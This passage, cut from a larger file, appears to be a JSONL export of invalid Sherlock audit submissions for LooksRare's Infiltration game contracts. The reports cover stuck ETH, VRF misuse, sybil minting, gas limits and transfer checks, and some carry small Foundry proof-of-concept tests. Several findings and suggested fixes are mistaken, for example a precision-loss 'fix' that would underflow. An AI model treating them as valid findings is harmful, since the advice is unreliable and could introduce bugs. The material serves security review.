InfiltrationPeriphery.sol via unintended routes may remain trapped.\n## Summary\n\n`ETH` sent to InfiltrationPeriphery.sol via unintended routes may remain trapped due to the contract's reliance on the `heal()` function to withdraw `ETH`, leaving no mechanism to recover `ETH` sent directly to the contract.\n\n## Vulnerability Detail\n\n- The contract has a `receive()` function that allows it to accept `ETH` sent directly to the contract.\n- The contract provides a mechanism to withdraw `ETH` using the `heal()` function via its `_transferETHAndWrapIfFailWithGasLimit()` method. This method uses `msg.value` to determine how much surplus `ETH` to refund to the `msg.sender`.\n- But if anyone mistakenly or intentionally sends `ETH` directly to the contract without using the `heal()` function, there is no way to withdraw or recover this `ETH` because the `heal()` function's logic is the only way to trigger an `ETH` withdrawal, and it doesn't make use of `address(this).balance` at all.\n\n## Impact\n\nSo any `ETH` sent to this contract directly (accidentally or intentionally) without using the `heal()` function will be stuck permanently, with no way of getting it out other than maybe the deprecated `selfdestruct` opcode.\n\n## Code Snippet\n\nThe refund block inside the `heal()` function:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L64-L69\n\n## Tool used\n\nVSC.\nManual Review\n\n## Recommendation\n\nTo address this issue, it's advisable to implement a function that allows the contract owner or an admin to withdraw unclaimed `ETH` sent directly to the contract. This function should have proper access control mechanisms to prevent unauthorized withdrawals during active games, ensuring that game `ETH` is not mistakenly withdrawn. The implementation should consider the game state and allow withdrawals only when it's safe to do so. This will provide a safeguard against permanently lost `ETH` in cases where it's sent directly to the contract either intentionally or accidentally/mistakenly.\n\nAdditionally, it's good practice to document these mechanisms clearly in the contract to ensure transparency and provide instructions to users regarding how to recover their `ETH` if it's ever sent directly to the contract.\n\nExample implementation of such a withdraw function:\n```solidity\nfunction withdrawUnstuckETH() external onlyOwner {\n require(gameNotActive(), \"Withdrawal not allowed during active games\");\n uint256 balance = address(this).balance;\n payable(owner()).transfer(balance);\n}\n\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/059.md"}} +{"title":"The calculation in the secondaryPrizePoolShareBp() function suffers from precision loss","severity":"info","body":"Bubbly Teal Rooster\n\nmedium\n\n# The calculation in the secondaryPrizePoolShareBp() function suffers from precision loss\n## Summary\n\n## Vulnerability Detail\nThis code snippet suffers from potential precision loss due to integer division. The issue arises from the use of integer division in the calculations, which can lead to the truncation of decimal places.\n```solidity\n function secondaryPrizePoolShareBp(uint256 placement) public pure returns (uint256 share) {\n share = (1_31817 * (995_000_000 / (placement * 49) - uint256(15_000_000) / 49)) / 1_000_000_000;\n }\n\n```\n\n To mitigate this precision loss, it is advisable to refactor the code by performing the multiplication with the constant factor before the division. Specifically, the calculation should be adjusted as follows:\n```solidity\n(1_31817 * (995_000_000 - 1_31817 * uint256(15_000_000)) / (placement * 49)) / 1_000_000_000\n\n```\n\n## Impact\nThis leads to inaccuracies in the calculation of the share.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1060-L1062\n## Tool used\n\nManual Review\n\n## Recommendation\nThe suggested modification for the calculation is as follows:\n```solidity\n(1_31817 * (995_000_000 - 1_31817 * uint256(15_000_000)) / (placement * 49)) / 1_000_000_000\n\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/055.md"}} +{"title":"Lack of inspection for quantity","severity":"info","body":"Bubbly Teal Rooster\n\nmedium\n\n# Lack of inspection for quantity\n## Summary\nThe `premint()` function lacks a check on `quantity` during minting, which could lead to unexpected behavior.\n## Vulnerability Detail\nThe `Infiltration.premint()` function's purpose is to accept Ether payment, mint a specified quantity of tokens, and distribute them to a specified address, provided that a series of conditions are met.\nHowever, the function does not check the minting limit for each address and the `[_mintERC2309](https://github.com/chiru-labs/ERC721A/blob/main/contracts/ERC721A.sol#L832)()` function has a limitation on the `maximum mintable` quantity, where `quantity` must be less than or equal to `_MAX_MINT_ERC2309_QUANTITY_LIMIT` , the protocol does not perform any checks on this `quantity`. This inconsistency can result in unintended behavior.\n```solidity\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) _revert(MintToZeroAddress.selector);\n if (quantity == 0) _revert(MintZeroQuantity.selector);\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT) _revert(MintERC2309QuantityExceedsLimit.selector);\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n```\n\n## Impact\nThe protocol does not perform any checks on this `quantity`. This inconsistency can result in unintended behavior.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L449-L462\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd checks within the \"premint\" function to enforce address-specific minting limits and ensure that it also checks and respects the \"_MAX_MINT_ERC2309_QUANTITY_LIMIT\" defined in the \"_mintERC2309\" function","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/054.md"}} +{"title":"Minting can be easily sybilled by calling from multiple addresses","severity":"info","body":"Fun Aegean Halibut\n\nmedium\n\n# Minting can be easily sybilled by calling from multiple addresses\n## Summary\nDuring the public mint phase, the Infiltration contract enforces that one address should not be able to mint more than `MAX_MINT_PER_ADDRESS` tokens. However it is easy to circumvent this limitation by creating multiple contracts calling the mint function in one single transaction and mint an arbitrary amount of tokens.\n\n## Vulnerability Detail\n\nWe can see in the public mint function, that a limitation is enforced for the `MAX_MINT_PER_ADDRESS`:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L477-L480\n\nHowever a malicious participant Alice could set up a contract to call the mint function from different child contracts. This would allow Alice to gain a significant advantage over other participants, since as one can see in the other issues reported:\n\n- Weak randomness in _woundRequestFulfilled can be slightly manipulated\n- A participant with enough active agents can force win for his wounded agents\n- A participant with enough agents can force win while some opponents' agents are healing\n\nHaving more agents can be used to influence the game outcome especially in the later stages.\n\n## Impact\nA participant can buy an arbitrarily large amount of tokens and influence the game outcome \n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nPlease consider set up a whitelisted minting","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/052.md"}} +{"title":"[H-01]Re-requesting randomness from VRF is a security anti-pattern","severity":"info","body":"Acidic Mauve Hornet\n\nhigh\n\n# [H-01]Re-requesting randomness from VRF is a security anti-pattern\n## Summary\nRe-requesting randomness from VRF is a security anti-pattern as mentioned in the Vrf [docs](https://docs.chain.link/vrf/v2/security#do-not-re-request-randomness)\n\nLikelihood: High, as there is an incentive for a VRF provider to exploit this and it is not hard to do from his side\n\n\n\n## Vulnerability Detail\n\nThe `StartNewRound` function allows re requesting the randomness from the VRF provider, however this goes against the security standards in using VRF, as stated in the [docs](https://docs.chain.link/vrf/v2/security#do-not-re-request-randomness):\n`\nAny re-request of randomness is an incorrect use of VRFv2. Doing so would give the VRF service provider the option to withhold a VRF fulfillment if the outcome is not favorable to them and wait for the re-request in the hopes that they get a better outcome, similar to the considerations with block confirmation time.\nRe-requesting randomness is easily detectable on-chain and should be avoided for use cases that want to be considered as using VRFv2 correctly.\n`\n\n\n\n## Impact\n High, as the VRF service provider has control over the random value that provides the best stats for `heal` and `damage`, highly impacting the final outcome. \nWhen the `startNewRound` is invoked, the attacker/service provider could monitor the transaction mempool, then frontrun the `_requestForRandomness();` \nThe Fairness of the protocol is tapered with.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L579C1-L580C1\n```solidity\n\n /**\n * @inheritdoc IInfiltration\n * @dev If Chainlink randomness callback does not come back after 1 day, we can try by calling\n * startNewRound again.\n */\n function startNewRound() external nonReentrant {\n //\n //\n //\n_requestForRandomness();\n}\n```\n\n## Tool used\n\n\nManual Review\nVrf docs\n\n## Recommendation\nDont allow recalling for callback from VRF","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/048.md"}} +{"title":"Lack Of Ownership Verification in 'transferFrom' Function","severity":"info","body":"Trendy Lilac Weasel\n\nhigh\n\n# Lack Of Ownership Verification in 'transferFrom' Function\n## Summary\nThe` transferFrom` function lacks proper ownership verification, allowing unauthorized transfers of agents. Specifically, it does not check if the from address is the owner of the `tokenId` being transferred.\n## Vulnerability Detail\n The `transferFrom` function is intended to facilitate the transfer of agents between addresses. However, it lacks a crucial ownership verification step, which means that any address can potentially transfer any agent, regardless of ownership.\n## Impact\nThe issue lies in the fact that there is no check to ensure that the from address is the legitimate owner of the agent represented by `tokenId`. This lack of ownership verification opens up the possibility for unauthorized transfers, potentially leading to another user transferring agents from a `tokenId` that ain't theirs.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L924-L930\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this bug and ensure proper access control and ownership verification, the `transferFrom` function should be modified to include a check for owner is equal to the from address as shown below.\n\n`function transferFrom(address from, address to, uint256 tokenId) public payable override {\n address owner = ownerOf(tokenId); // Get the current owner of the agent.\n require(owner == from, \"You are not the owner of this agent.\");`","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/046.md"}} +{"title":"A game can be started with just one player, which should be an invalid game","severity":"info","body":"Custom Seafoam Puppy\n\nfalse\n\n# A game can be started with just one player, which should be an invalid game\n## Summary\nThe game can start with just one agent as long as the mint end time has passed.\nThis is possible because there's no restriction set on the minimum number of agents to start a valid game.\n\n## Vulnerability Detail\nThe purpose of the game is to get a random word to decide the fate of the agents and reducing the number of active agents either by killing or wounding agents until only one agent survives.\nHowever, if only one agent is minted, and the the mint end time has passed. If the game is started, it will result in the sole agent being the winner. \n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L501\n\n## Impact\nThis results in an invalid game where the sole agent takes the winnings. \n\n## Code Snippet\n```POC\n function test_startGame_RevertIf_GameAlreadyBegun_1() public {\n vm.warp(_mintStart());\n\n uint160 startingUser = 11;\n\n for (uint160 i = startingUser; i < 1 + startingUser; i++) {\n vm.deal(address(i), PRICE * 1);\n vm.prank(address(i));\n infiltration.mint{value: PRICE * 1}({quantity: 1});\n }\n vm.prank(owner);\n vm.warp(block.timestamp+ 1 days);\n \n\n infiltration.startGame();\n\n }\n ```\n## Tool used\nFoundry\n\n## Recommendation\n Set a minimum threshold for the number of players and ensuring that it is surpassed before starting the game.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/045.md"}} +{"title":"Owner can't claim prize when winner burn their NFT","severity":"info","body":"Wobbly Tangerine Elephant\n\nhigh\n\n# Owner can't claim prize when winner burn their NFT\n## Summary\n\nOwner can't claim their price in case of they burn their NFT.\n\n## Vulnerability Detail\n\nWhen the winner burn their NFT, the owner can't claim prize because the `Infiltration` contract depends on the NFT ownership to claim the price by calling `Infiltration#claimGrandPrize` and `Infiltration#claimSecondaryPrizes` functions. So when the winner burn their NFT, they can't claim prize anymore.\n\n## Impact\n\nThe winner can't claim NFT after they burn their NFT.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L659C9-L659C30\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L679C31-L679C31\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRecommend storing the winner parameter. Add try-catch blocks to each `_assertAgentOwnership` call. If the call reverts then use storing the winner parameter to transfer price to winner directly.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/042.md"}} +{"title":"Unlimited account type may leading to out of gas error","severity":"info","body":"Wobbly Tangerine Elephant\n\nhigh\n\n# Unlimited account type may leading to out of gas error\n## Summary\n\nUnlimited account type may leading to out of gas error.\n\n## Vulnerability Detail\n\n`Infiltration#_transferETHAndWrapIfFailWithGasLimit` function is used by several places to send ETH token to `msg.sender`, like `claimGrandPrize`, `claimSecondaryPrizes` and `escape` functions. However, there is no limit account type, it has possibility of leading to `out of gas error` if the winner is contract account and the contract has some gas consumption action when receive the ETH token.\n\nWhen the winner is contract account like multi-sign wallet, it's very possible to send price failed, but the protocol have no corresponding mechanism to cover such case.\n\nBesides, the `call` inside `_transferETHAndWrapIfFailWithGasLimit` may failed due to `1/64` rule because it use `gasleft` as `gaslimit` without considering `1/64` rule, see [EIP-150](https://github.com/ethereum/EIPs/blob/master/EIPS/eip-150.md) and [evm.codes](https://www.evm.codes/?fork=shanghai).\n\nThe following PoC shows that if the winner is contract account and the contract receive function do some gas consumption action, it will lead to `out of gas error`.\n\n```solidity\ncontract LowLevelWETH {\n address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\n function _transferETHAndWrapIfFailWithGasLimit(\n address _WETH,\n address _to,\n uint256 _amount,\n uint256 _gasLimit\n ) external {\n bool status;\n\n assembly {\n status := call(_gasLimit, _to, _amount, 0, 0, 0, 0)\n }\n\n if (!status) {\n WETH9(_WETH).deposit{value: _amount}();\n WETH9(_WETH).transfer(_to, _amount);\n }\n }\n\n receive() external payable {\n \n }\n\n fallback() external payable {\n \n }\n}\n\n\n// forge test --match-path test/pocs/Demo.t.sol -vvv\ncontract DemotTest is Test {\n\n Transfer transfer;\n constructor(){\n transfer = new Transfer();\n }\n\n function testGas() public {\n payable(address(transfer)).transfer(10 ether);\n this.entryPoint{gas: 1000000}();\n }\n\n function entryPoint() public {\n console2.log(\"before gasleft: \", gasleft());\n // try transfer.gasCall() {\n \n // } catch {\n \n // }\n transfer.gasCall();\n console2.log(\"after gasleft: \", gasleft());\n }\n}\n\ncontract Receiver {\n event PushFinised();\n constructor() {\n \n }\n\n uint256[] myArr;\n receive() external payable {\n for (uint256 i = 0; i < 100; i++) {\n myArr.push(i);\n }\n // this line will never reached because the out of gas issue\n emit PushFinised();\n }\n}\n\n\ncontract Transfer {\n\n LowLevelWETH lowLevelWETH = new LowLevelWETH();\n\n function gasCall() external {\n this.intermediate();\n }\n\n function intermediate() public {\n payable(address(lowLevelWETH)).transfer(1 ether);\n Receiver receiver = new Receiver();\n lowLevelWETH._transferETHAndWrapIfFailWithGasLimit(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(receiver), 1, gasleft());\n }\n\n receive() external payable {\n \n }\n\n fallback() external payable {\n \n }\n}\n```\n\nResults:\n\n```solidity\n[FAIL. Reason: EvmError: Revert] testGas() (gas: 957062)\nLogs:\n before gasleft: 999817\n\nTraces:\n [957062] DemotTest::testGas() \n ├─ [55] Transfer::receive() \n │ └─ ← ()\n ├─ [944984] DemotTest::entryPoint() \n │ ├─ [0] console::log(before gasleft: , 999817 [9.998e5]) [staticcall]\n │ │ └─ ← ()\n │ ├─ [941187] Transfer::gasCall() \n │ │ ├─ [940717] Transfer::intermediate() \n │ │ │ ├─ [55] LowLevelWETH::receive() \n │ │ │ │ └─ ← ()\n │ │ │ ├─ [45099] → new Receiver@0x037eDa3aDB1198021A9b2e88C22B464fD38db3f3\n │ │ │ │ └─ ← 225 bytes of code\n │ │ │ ├─ [851193] LowLevelWETH::_transferETHAndWrapIfFailWithGasLimit(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, Receiver: [0x037eDa3aDB1198021A9b2e88C22B464fD38db3f3], 1, 875833 [8.758e5]) \n │ │ │ │ ├─ [832951] Receiver::receive() \n │ │ │ │ │ └─ ← \"EvmError: OutOfGas\"\n │ │ │ │ └─ ← \"EvmError: Revert\"\n │ │ │ └─ ← \"EvmError: Revert\"\n │ │ └─ ← \"EvmError: Revert\"\n │ └─ ← \"EvmError: Revert\"\n └─ ← \"EvmError: Revert\"\n```\n\n## Impact\n\n`out of gas error` may happen when the winner is contract account.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L521\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L565\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L669\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L693\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n1. Add `try` - `catch` block to `_transferETHAndWrapIfFailWithGasLimit` function to make sure the claim action can be executed successfully.\n2. Modify the required amount of `gasleft` to `gasLimit + any amount` of gas spent before reaching the call(), then multiply it by 32/30 to mitigate the 1/64 rule (+ some margin of safety maybe).","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/041.md"}} +{"title":"fulfillRandomWords must not revert","severity":"info","body":"Scruffy Beige Mantaray\n\nmedium\n\n# fulfillRandomWords must not revert\n## Summary\nAccording to chainlink VRF security:\n\n> If your fulfillRandomWords() implementation reverts, the VRF service will not attempt to call it a second time. Make sure your contract logic does not revert\n\n## Vulnerability Detail\nWhen VRF service invoke `fulfillRandomWords` , if current healingAgents is bigger than 0 then protocol call `_healRequestFulfilled` to heal to kill agent\n```solidity\n if (healingAgents != 0) {\n uint256 healedAgents;\n (healedAgents, deadAgentsFromHealing, currentRandomWord) = _healRequestFulfilled(\n currentRoundId,\n currentRoundAgentsAlive,\n currentRandomWord\n ); <---------------------------------------------- invoke here\n unchecked {\n currentRoundAgentsAlive -= deadAgentsFromHealing;\n activeAgents += healedAgents;\n gameInfo.healingAgents = uint16(healingAgents - healedAgents - deadAgentsFromHealing);\n }\n }\n```\nIf agent is successfully healed 25% of the $LOOKS paid as healing fees are burned \nThose burned token are send to target address via blow function \\\n\n```solidity\n _executeERC20DirectTransfer(\n LOOKS,\n 0x000000000000000000000000000000000000dEaD,\n _costToHeal(lastHealCount) / 4\n );\n```\n\nThen let's dive into above function \n\n```solidity\n function _executeERC20DirectTransfer(address currency, address to, uint256 amount) internal {\n if (currency.code.length == 0) {\n revert NotAContract();\n }\n\n (bool status, bytes memory data) = currency.call(abi.encodeCall(IERC20.transfer, (to, amount)));\n\n if (!status) {\n revert ERC20TransferFail();\n }\n\n if (data.length > 0) {\n if (!abi.decode(data, (bool))) {\n revert ERC20TransferFail();\n }\n }\n }\n```\nAs we can see above function can potentially revert due to certain reasons. Once revert happen the VRF service will not attempt to call it a second time and the game will no longer continue.\n\n\n## Impact\nIf `fulfillRandomWords` the VRF server will not attempt to call it a second time \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1362#L1366\n\n```solidity\n _executeERC20DirectTransfer(\n LOOKS,\n 0x000000000000000000000000000000000000dEaD,\n _costToHeal(lastHealCount) / 4\n );\n```\n\n```solidity\n function _executeERC20DirectTransfer(address currency, address to, uint256 amount) internal {\n if (currency.code.length == 0) {\n revert NotAContract();\n }\n\n (bool status, bytes memory data) = currency.call(abi.encodeCall(IERC20.transfer, (to, amount)));\n\n if (!status) {\n revert ERC20TransferFail();\n }\n\n if (data.length > 0) {\n if (!abi.decode(data, (bool))) {\n revert ERC20TransferFail();\n }\n }\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider simply storing the randomness and taking more complex follow-on actions in separate contract calls made by you","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/040.md"}} +{"title":"Potential DOS if user provide more ether than required","severity":"info","body":"Polite Punch Piranha\n\nmedium\n\n# Potential DOS if user provide more ether than required\n## Summary\n## Vulnerability Detail\nUsing exact comparison for value provided and required, there is a chance user provide more than needed but getting rejected for minting\n\n```solidity\n if (quantity * PRICE != msg.value) { \n revert InsufficientNativeTokensSupplied();\n }\n```\n\n## Impact\nUnnecessary denial of service for minting transaction \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L450\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L482\n\n## Tool used\nManual Review\n\n## RecommendationU\nse > instead of !=\n```solidity\n if (quantity * PRICE > msg.value) { \n revert InsufficientNativeTokensSupplied();\n }\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/039.md"}} +{"title":"Lack of Return Value Check","severity":"info","body":"Rhythmic Coffee Goblin\n\nmedium\n\n# Lack of Return Value Check\n## Summary\n\nThe return value of `_executeERC20DirectTransfer` is not checked, which could lead to undetected failures in token transfers.\n\n## Vulnerability Detail\n\nThe function `_healRequestFulfilled` (line 1368) invokes `_executeERC20DirectTransfer` to transfer tokens. However, the return value of `_executeERC20DirectTransfer` is not checked within the `_healRequestFulfilled` function. The ERC-20 standard specifies that the transfer function should return a boolean value indicating success or failure, but this return value is ignored in the given code snippet (line 1371). Failing to check this return value could mean that a failed transfer goes unnoticed, leading to an incorrect state within the smart contract or potential loss of funds. This kind of oversight could be exploited by an attacker, especially in cases where the state of the contract changes based on the success of the token transfer.\n\nHere's the relevant code snippet from the smart contract:\n\n```solidity\n_executeERC20DirectTransfer(LOOKS, 0x000000000000000000000000000000000000dEaD, _costToHeal(lastHealCount) / 4);\n```\n\nIn this line, tokens are being transferred to a designated address, but the success of the transfer is not being verified. This could potentially lead to an incorrect contract state if, for example, the transfer fails but the contract proceeds as if it were successful. This lack of error handling and verification is a significant issue and could lead to unexpected behavior or even exploitation in adversarial conditions.\n\n## Impact\n\nFailure to check the return value could lead to loss of funds or incorrect contract behavior.\n\n## Code Snippet\n\n[Code location](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/CONTRACTS/InfiltrationPeriphery.sol#L1368-L21)\n\n```solidity\n// @audit-issue: Lack of return value check can lead to undetected failures.\n_executeERC20DirectTransfer(LOOKS, 0x000000000000000000000000000000000000dEaD, _costToHeal(lastHealCount) / 4);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck the return value of _executeERC20DirectTransfer and handle any errors appropriately to ensure that the token transfer was successful.\nConsider reverting the transaction or logging an error event if the function call fails.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/038.md"}} +{"title":"Potential Vulnerabilities","severity":"info","body":"Rhythmic Coffee Goblin\n\nhigh\n\n# Potential Vulnerabilities\n## Summary\n\nThe smart contract code has several areas where improvements are required to ensure data integrity and prevent potential attacks.\n\n## Vulnerability Detail\n\n**Unchecked Array Indexing:**\nThe function `_healRequestFulfilled` does not ensure that `healingAgentIdsCount` is within the bounds of the `healingAgentIds` array, which can lead to out-of-bounds access.\n## Impact\n\nOut-of-bounds access could lead to incorrect data being read or written, which could corrupt the contract state or lead to unexpected behavior.\n\n## Code Snippet\n\n[Code location](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/CONTRACTS/InfiltrationPeriphery.sol#L1353-L17)\n// @audit-issue: Unchecked array indexing can lead to out-of-bounds access.\nuint256 healingAgentId = healingAgentIds[i.unsafeAdd(1)];\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nImplement bounds checking to ensure that the index is within the valid range before accessing the array.\nConsider using a library or utility function to handle array access in a safe manner.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//invalid/037.md"}} +{"title":"Chainlink VRF variables are hardcoded","severity":"info","body":"Quick Silver Stallion\n\nhigh\n\n# Chainlink VRF variables are hardcoded\n## Summary\nWhen interacting with the Chainlink VRF, the code utilizes constant variables for minimumRequestConfirmations and callbackGasLimit. These variables are verified within the Chainlink VRF contract. However, the validation criteria for these variables can be modified by the VRF contract administrator. If these criteria are altered such that they are incompatible with the current hardcoded values, the game will not function as intended.\n## Vulnerability Detail\nWhen the chainlink `requestRandomWords` function triggered the values for `callbackGasLimit` and `minimumRequestConfirmations` are hardcoded. Those values are validated inside the chainlink function and can be changed to different values via the chainlink admin. If chainlink decides to change those values in an unfavorable value that would make the game to be unable to call chainlink due to validation reverts then the game will be stuck.\n\nExample:\nAssume that the chainlinks `s_config.minimumRequestConfirmations` storage variable is set to 5 by chainlink owner. Since the game contract calls the chainlink VFR as follows:\n```solidity\nuint256 requestId = VRF_COORDINATOR.requestRandomWords({\n keyHash: KEY_HASH,\n subId: SUBSCRIPTION_ID,\n minimumRequestConfirmations: uint16(3),\n callbackGasLimit: uint32(2_500_000),\n numWords: uint32(1)\n });\n```\nthe transaction will revert because of the `minimumRequestConfirmations`(3) is lesser than the `s_config.minimumRequestConfirmations`(5)\nhttps://github.com/smartcontractkit/chainlink/blob/5cc88a82ec77b1d4f3f37b0255af778a056e7e5c/contracts/src/v0.8/vrf/VRFCoordinatorV2.sol#L367C13-L375\n\n**Another scenario focusing on the callback gas limit:**\nIf we take this scenario #4 there can be 800+ wounded agents and the probability of this loop looping more than \"x\" times such that the callback gas limit is not enough is pretty possible\n```solidity\nfor (uint256 i; i < woundedAgentsCount; ) {\n uint256 woundedAgentIndex = (randomWord % currentRoundAgentsAlive).unsafeAdd(1);\n Agent storage agentToWound = agents[woundedAgentIndex];\n\n if (agentToWound.status == AgentStatus.Active) {\n // This is equivalent to\n // agentToWound.status = AgentStatus.Wounded;\n // agentToWound.woundedAt = roundId;\n assembly {\n let agentSlotValue := sload(agentToWound.slot)\n agentSlotValue := and(\n agentSlotValue,\n // This is equivalent to\n // or(\n // TWO_BYTES_BITMASK,\n // shl(64, TWO_BYTES_BITMASK)\n // )\n 0x00000000000000000000000000000000000000000000ffff000000000000ffff\n )\n // AgentStatus.Wounded is 1\n agentSlotValue := or(agentSlotValue, shl(AGENT__STATUS_OFFSET, 1))\n agentSlotValue := or(agentSlotValue, shl(AGENT__WOUNDED_AT_OFFSET, roundId))\n sstore(agentToWound.slot, agentSlotValue)\n }\n\n uint256 woundedAgentId = _agentIndexToId(agentToWound, woundedAgentIndex);\n woundedAgentIds[i] = woundedAgentId;\n\n unchecked {\n ++i;\n currentRoundWoundedAgentIds[i] = uint16(woundedAgentId);\n }\n\n // @audit randomWord = uint256(keccak256(abi.encode(randomWord)));\n randomWord = _nextRandomWord(randomWord);\n } else {\n // If no agent is wounded using the current random word, increment by 1 and retry.\n // If overflow, it will wrap around to 0.\n unchecked {\n ++randomWord;\n }\n }\n }\n```\nassuming 10000 agents alive and 892 wounded the probability of hitting an agent that is wounded is 892/10000 although that in such scenario the randomWord is incremented by ++ would possibly make things easier (it tries to look the closest sample) it is still has a chance to loop more than the required callback gas limit.\n## Impact\nI will label this as high for the following reasons:\n\n1- Sherlock page for the contest states:\n> In case of external protocol integrations, are the risks of external contracts pausing or executing an emergency withdrawal acceptable? If not, Watsons will submit issues related to these situations that can harm your protocol's functionality.\n> \n> Yes they are acceptable\n\n2- This issue will make the game to stop and there are no fixes then emergency withdraw\n\n3- Looks team does not have control on chainlink\n\n4- Chainlink might see an issue with the current value and they mandatory set the new value higher than 3 for security purposes meaning that they can not lower it down for Looks team even if they wanted to\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L1294-L1300\nChainlink\nhttps://github.com/smartcontractkit/chainlink/blob/5cc88a82ec77b1d4f3f37b0255af778a056e7e5c/contracts/src/v0.8/vrf/VRFCoordinatorV2.sol#L218-L253\nhttps://github.com/smartcontractkit/chainlink/blob/5cc88a82ec77b1d4f3f37b0255af778a056e7e5c/contracts/src/v0.8/vrf/VRFCoordinatorV2.sol#L368-L382\n## Tool used\n\nManual Review\n\n## Recommendation\nMake setters functions for the values that can be changed by chainlink 